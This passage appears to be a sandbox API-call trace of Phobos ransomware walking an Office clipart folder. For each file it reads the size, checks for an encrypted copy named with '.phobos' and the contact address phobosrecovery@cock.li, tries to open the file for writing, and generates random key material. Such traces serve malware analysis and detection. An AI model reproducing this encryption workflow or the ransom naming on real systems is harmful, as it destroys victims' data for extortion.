(in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=25184) returned 1 [0154.066] CloseHandle (hObject=0x584) returned 1 [0154.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00603_.wmf")) returned 0x220 [0154.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00603_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00603_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.066] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.067] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=40064) returned 1 [0154.067] CloseHandle (hObject=0x584) returned 1 [0154.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00610_.wmf")) returned 0x220 [0154.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00610_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.067] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.068] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4070) returned 1 [0154.068] CloseHandle (hObject=0x584) returned 1 [0154.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00629_.wmf")) returned 0x220 [0154.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00629_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.069] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.069] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=20486) returned 1 [0154.069] CloseHandle (hObject=0x584) returned 1 [0154.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00633_.wmf")) returned 0x220 [0154.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00633_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.070] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.070] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6842) returned 1 [0154.070] CloseHandle (hObject=0x584) returned 1 [0154.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00638_.wmf")) returned 0x220 [0154.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00638_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.070] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00656_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.130] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1412) returned 1 [0154.130] CloseHandle (hObject=0x584) returned 1 [0154.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00656_.wmf")) returned 0x220 [0154.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00656_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00656_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00656_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.130] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00942_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.131] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4708) returned 1 [0154.131] CloseHandle (hObject=0x584) returned 1 [0154.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00942_.wmf")) returned 0x220 [0154.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00942_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00942_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00942_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.132] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00943_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.231] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7556) returned 1 [0154.231] CloseHandle (hObject=0x584) returned 1 [0154.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00943_.wmf")) returned 0x220 [0154.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00943_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00943_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00943_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.231] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.232] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=44570) returned 1 [0154.232] CloseHandle (hObject=0x584) returned 1 [0154.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01044_.wmf")) returned 0x220 [0154.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01044_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01044_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.233] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01063_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.233] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=23352) returned 1 [0154.233] CloseHandle (hObject=0x584) returned 1 [0154.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01063_.wmf")) returned 0x220 [0154.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01063_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01063_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01063_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.234] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.234] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=67422) returned 1 [0154.234] CloseHandle (hObject=0x584) returned 1 [0154.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01236_.wmf")) returned 0x220 [0154.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01236_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01236_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.235] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01560_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.235] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17328) returned 1 [0154.235] CloseHandle (hObject=0x584) returned 1 [0154.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01560_.wmf")) returned 0x220 [0154.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01560_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01560_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.235] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01561_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.236] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=23000) returned 1 [0154.236] CloseHandle (hObject=0x584) returned 1 [0154.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01561_.wmf")) returned 0x220 [0154.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01561_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01561_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01561_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.236] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01563_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.240] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=30154) returned 1 [0154.240] CloseHandle (hObject=0x58c) returned 1 [0154.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01563_.wmf")) returned 0x220 [0154.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01563_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01563_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.240] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01566_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.241] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=20904) returned 1 [0154.241] CloseHandle (hObject=0x58c) returned 1 [0154.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01566_.wmf")) returned 0x220 [0154.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01566_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01566_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01566_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.241] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01568_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.242] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=21680) returned 1 [0154.242] CloseHandle (hObject=0x58c) returned 1 [0154.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01568_.wmf")) returned 0x220 [0154.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01568_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01568_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01568_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.242] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01569_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.243] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=18336) returned 1 [0154.243] CloseHandle (hObject=0x58c) returned 1 [0154.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01569_.wmf")) returned 0x220 [0154.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01569_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01569_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft 